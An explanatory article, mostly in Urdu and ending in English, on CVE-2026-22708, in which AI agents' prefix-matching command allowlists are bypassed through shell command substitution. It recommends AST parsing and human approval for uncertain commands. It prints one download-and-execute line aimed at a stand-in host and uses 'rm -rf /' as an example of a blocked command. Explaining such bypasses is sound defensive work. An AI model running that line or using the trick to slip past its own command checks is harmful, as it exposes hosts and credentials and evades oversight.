حال ہی میں سامنے آنے والی ایک کمزوری، CVE-2026-22708، یہ ظاہر کرتی ہے کہ وہ AI ایجنٹس جو سادہ کمانڈ allowlists پر انحصار کرتے ہیں، انہیں نقصان دہ کوڈ چلانے کے لیے دھوکہ دیا جا سکتا ہے۔ یہ خامی حملہ آور کو ایک عام سی نظر آنے والی کمانڈ کے اندر پے لوڈ (payload) چھپانے کی اجازت دیتی ہے، جس سے ایجنٹ کو ہوسٹ پر من مانے اسکرپٹس چلانے کا براہ راست راستہ مل جاتا ہے۔
زیادہ تر AI سے چلنے والے اسسٹنٹس جو ڈویلپمنٹ یا آپریشنز کو خودکار بناتے ہیں، کسی کمانڈ کے پہلے لفظ کو وائٹ لسٹ (whitelist) سے میچ کر کے کام کرتے ہیں۔ اگر وہ لفظ git یا npm جیسی کسی انٹری سے میچ کر جائے، تو درخواست کو براہ راست آگے بھیج دیا جاتا ہے۔ یہ "پری فکس میچنگ" (prefix matching) اس لیے پرکشش ہے کیونکہ اسے نافذ کرنا آسان ہے اور ایسا لگتا ہے کہ یہ ایجنٹ کو خطرناک یوٹیلیٹیز چلانے سے روکتا ہے۔
عملی طور پر یہ طریقہ کار ایک سیکیورٹی ہول (security hole) ہے۔ ایک حملہ آور اجازت یافتہ لفظ کے بعد کمانڈ سبسٹٹیوشن (command substitution) یا کوئی اور شیل فیچر شامل کر سکتا ہے، اور وائٹ لسٹ اسے کبھی نہیں دیکھ پائے گی۔ ایک کلاسیکی مثال یہ ہے:
git branch "$(curl evil.sh | sh)"
allowlist صرف git کو دیکھتی ہے اور درخواست منظور کر لیتی ہے۔ شیل پھر $(curl evil.sh | sh) کو ایکسپینڈ کرتا ہے، ایک اسکرپٹ ڈاؤن لوڈ کرتا ہے اور اسے ایجنٹ کے اختیارات (privileges) کے ساتھ چلا دیتا ہے۔ یہی چال کسی بھی ایسی وائٹ لسٹ شدہ بائنری کے ساتھ کام کرتی ہے جو ایسے آرگومنٹ (arguments) قبول کرتی ہے جنہیں شیل کے ذریعے انٹرپریٹ کیا جا سکے۔
اس کا اثر انتہائی سنگین ہے کیونکہ AI ایجنٹس کو تیزی سے حساس ماحول سونپا جا رہا ہے—جیسے کنٹینیو اس ایگریشن پائپ لائنز، کلاؤڈ ہوسٹڈ ڈویلپمنٹ کنٹینرز، اور یہاں تک کہ صارفین کے ورک اسٹیشنز۔ اگر کسی ایجنٹ کو پے لوڈ چلانے پر مجبور کیا جا سکے، تو حملہ آور کو وہی رسائی حاصل ہو جاتی ہے جو ایجنٹ کے پاس ہوتی ہے، جس میں اکثر سیکرٹ کیز، ڈیپلائمنٹ کریڈنشلز، یا فائل سسٹم تک بلا روک ٹوک رسائی شامل ہوتی ہے۔
سادہ allowlists کیوں ناکام ہوتی ہیں
- صرف اسٹرنگ میچنگ، پالیسی نہیں – صرف پہلے ٹوکن کو چیک کرنے سے کمانڈ لائن کی ساخت نظر انداز ہو جاتی ہے۔ یہ اس بات پر غور نہیں کرتا کہ آرگومنٹ کو کیسے انٹرپریٹ کیا جا رہا ہے یا آیا ان میں شیل میٹا کریکٹرز (shell metacharacters) شامل ہیں۔
- شیل کے فیچرز طاقتور ہیں – سبسٹٹیوشن، پائپ لائنز، اور ری ڈائریکشن (redirection) یہ سب allowlist چیک کے بعد پروسیس ہوتے ہیں، جو ایک بے ضرر نظر آنے والی کمانڈ کو مکمل ایکسپلائٹ (exploit) میں بدل دیتے ہیں۔
- سیاق و سباق (context) کی آگاہی کا نہ ہونا – وائٹ لسٹ ایک محفوظ
git statusاور ایک خطرناکgit push --forceکے درمیان فرق نہیں کر سکتی، جو پروڈکشن ہسٹری کو اوور رائٹ کر سکتا ہے۔
ایک زیادہ مستحکم ماڈل
CVE-2026-22708 پر کمیونٹی کا ردعمل سادہ اسٹرنگ چیک کے بجائے کمانڈز کو Abstract Syntax Tree (AST) میں تبدیل کرنے کی طرف منتقل ہونا ہے۔ ایک AST کمانڈ کی درجہ بندی شدہ ساخت کی نمائندگی کرتا ہے، جو ایگزیکیوٹیبل (executable) کو اس کے آرگومنٹ اور کسی بھی شیل کنسٹرکٹس سے الگ کرتا ہے۔ ایک بار جب کمانڈ کو توڑ دیا جائے، تو ایک پالیسی انجن اسے تین الگ الگ زمروں کے خلاف جانچ سکتا ہے:
- SAFE (محفوظ) – وہ کمانڈز جو تصدیق شدہ قواعد سے مطابقت رکھتی ہیں اور جن میں کوئی خطرناک ساخت نہیں ہوتی۔ ایجنٹ انہیں خودکار طور پر چلاتا ہے۔ مثال:
git status۔ - BLOCKED (بلاک شدہ) – وہ کمانڈز جو خطرناک کہلانے والے پیٹرنز سے ملتی ہیں، جیسے کہ وہ جو خفیہ فائلوں تک رسائی حاصل کرتی ہیں، ڈائریکٹریز کو ڈیلیٹ کرتی ہیں، یا پرائیویلیجڈ اسکرپٹس کو کال کرتی ہیں۔ ایجنٹ انہیں فوری طور پر روک دیتا ہے۔ مثال:
rm -rf /۔ - UNCERTAIN (غیر یقینی) – وہ کمانڈز جو نہ تو مکمل طور پر محفوظ ہیں اور نہ ہی بلاک شدہ۔ ایجنٹ کو آگے بڑھنے سے پہلے انسان سے واضح منظوری لینی چاہیے۔ مثال:
git push --force۔
UNCERTAIN درجے کا تعارف خطرے کے ماڈل کو بدل دیتا ہے۔ ہر غیر شناخت شدہ کمانڈ کو ناکامی سمجھنے کے بجائے، سسٹم غیر یقینی صورتحال کو ایک کنٹرول شدہ تعامل (interaction) میں بدل دیتا ہے۔ منظوری کے مرحلے کو نافذ کرنے کا ایک عملی طریقہ ایک سنگل یوز HMAC ٹوکن جاری کرنا ہے جسے صارف کو ایجنٹ کے سامنے پیش کرنا ہوتا ہے۔ چونکہ ٹوکن درخواست کے ساتھ کرپٹوگرافک طور پر منسلک ہوتا ہے، اس لیے ایجنٹ رضامندی کی جعل سازی نہیں کر سکتا۔
سیکیورٹی اور استعمال کے درمیان توازن
نقاد یہ دلیل دے سکتے ہیں کہ AST پارسنگ سے تاخیر (latency) بڑھ سکتی ہے یا تین درجوں والا ماڈل صارفین کو منظوری کے پرامپٹس سے بھر سکتا ہے، جس سے پیداواری صلاحیت کم ہو سکتی ہے۔ یہ خدشات جائز ہیں: ایک ناقص طریقے سے ترتیب دیا گیا رول سیٹ غلط مثبت (false positives) پیدا کر سکتا ہے، اور پیچیدہ پارسنگ سادہ اسٹرنگ چیک کے مقابلے میں کمپیوٹیشنل طور پر بھاری ہو سکتی ہے۔ تاہم، متبادل—یعنی من مانے کوڈ کے چلنے کی اجازت دینا—بہت زیادہ مہنگا پڑ سکتا ہے۔ ہائبرڈ طریقے جو ہلکی پھلکی سینڈ باکسنگ (sandboxing) کو AST تجزیہ کے ساتھ ملاتے ہیں، کارکردگی پر اثرات کو کم کر سکتے ہیں اور ساتھ ہی ایک مضبوط پالیسی کو نافذ بھی کر سکتے ہیں۔
ڈویلپرز اور اداروں کے لیے خطرات
- ڈیٹا کی رازداری – ایک سمجھوتہ شدہ ایجنٹ API کیز، پاس ورڈز، اور ملکیتی کوڈ چوری کر سکتا ہے۔
- سسٹم کی سالمیت – نقصان دہ کمانڈز پروڈکشن آرٹفیکٹس کو تبدیل یا ڈیلیٹ کر سکتی ہیں، ریلیز کو واپس لے جا سکتی ہیں، یا بیک ڈور انسٹال کر سکتی ہیں۔
- ریگولیٹری خطرات – غیر محفوظ خودکاری نظام (automation) کی وجہ سے ہونے والی خلاف ورزیاں تعمیل کے جرمانے (compliance penalties) کا باعث بن سکتی ہیں، خاص طور پر ڈیٹا ہینڈلنگ کے سخت قوانین والے شعبوں میں۔
Projects that ignore these risks often either cripple the agent with over-restrictive rules or leave it open to exploitation. The middle ground—defining clear SAFE, BLOCKED, and UNCERTAIN groups—provides a practical path to both security and usefulness.
What to watch next
- Tooling – Expect open-source libraries that expose AST-based parsers for common shells and build pipelines, along with ready-made policy templates.
- Standards – Industry groups may propose baseline rule sets for typical development commands, similar to how container runtimes standardized seccomp profiles.
- Audits – Security teams will likely add “allowlist sanity checks” to their CI/CD audit pipelines, flagging any agent configuration that relies solely on prefix matching.
Takeaway
If your AI agent still decides what to run by looking only at the first word of a command, it is exposed to the vulnerability demonstrated in CVE-2026-22708. Replace that approach with AST-driven parsing and a three-tier policy that forces human confirmation for ambiguous actions. The extra step may feel like friction, but it turns a blind spot into a verifiable control point, protecting both your code and your infrastructure.
